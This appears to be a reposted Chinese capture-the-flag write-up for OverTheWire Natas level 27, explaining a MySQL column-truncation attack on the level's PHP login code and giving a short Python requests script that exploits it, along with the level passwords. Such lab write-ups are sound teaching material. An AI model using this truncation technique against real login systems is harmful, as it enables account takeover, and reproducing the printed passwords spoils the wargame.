Overthewire-natas27
Posted wudiiv11
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Overthewire-natas27相关的知识,希望对你有一定的参考价值。
Overthewire level 27 to level 28
function checkCredentials($link,$usr,$pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "SELECT username from users where username=\'$user\' and password=\'$password\' ";
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username=\'$user\'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username=\'$user\'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "INSERT INTO users (username,password) values (\'$user\',\'$password\')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysql_connect(\'localhost\', \'natas27\', \'<censored>\');
mysql_select_db(\'natas27\', $link);
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn\'t exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysql_close($link);
}
这是一个比较直接的利用username
, password
在后端数据库进行验证登录的过程。在输入完用户名和密码后,后台会去检查是否有当前的用户存在,如果没有则生成一个账号,否则输出该账号的信息。
后台在字符串拼接的时候对sql语句进行了过滤,因此基本排除sql注入的可能性。但是在SQL中还有一种攻击叫截断攻击(SQL Column Truncation),就是当输入了过长的字符串后,超过varchar范围的部分会被截断。在MYSQL的配置中,如果没有开启STRICT_ALL_TABLES选项,则字符串被截断后只会给个warning,而不是error。
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
在该题中,每个字段对应的长度是64个char。
另外,在mysql中,字符串尾包含空格时,可以查到不包含空格的结果。即如下两条表达式的结果是一致的
select * from users where username=\'a\';
select * from users where username=\'a \';
基于以上两个信息,当我们往表里插入一个\'name\' + \' \' * 64
的账户后,后台如果执行类似于select * from users where username=\'name\'
这样的语句,则不仅会把我们插入的账户给查出来,还会查出原本数据库username=\'name\'
的账户。
注意这两个函数
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username=\'$user\'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username=\'$user\'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
validUser
并没有对去除$user
尾部的空格, 且dumpData
用了一个while循环来打印所有符合的账号,这里算是很明显的提示要插入一个和答案相同的账户了。攻击代码如下
import requests
auth = (\'natas27\', \'55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ\')
requests.post(\'http://natas27.natas.labs.overthewire.org\',
auth=auth,
data={
\'username\': \'natas28\' + \' \' * 1000 + \'1\',
\'password\': \'123\'})
resp = requests.post(\'http://natas27.natas.labs.overthewire.org\',
auth=auth,
data={
\'username\': \'natas28\',
\'password\': \'123\'})
print(resp.text)
第28关密码为JWwR438wkgTsNKBbcJoowyysdM82YjeF
以上是关于Overthewire-natas27的主要内容,如果未能解决你的问题,请参考以下文章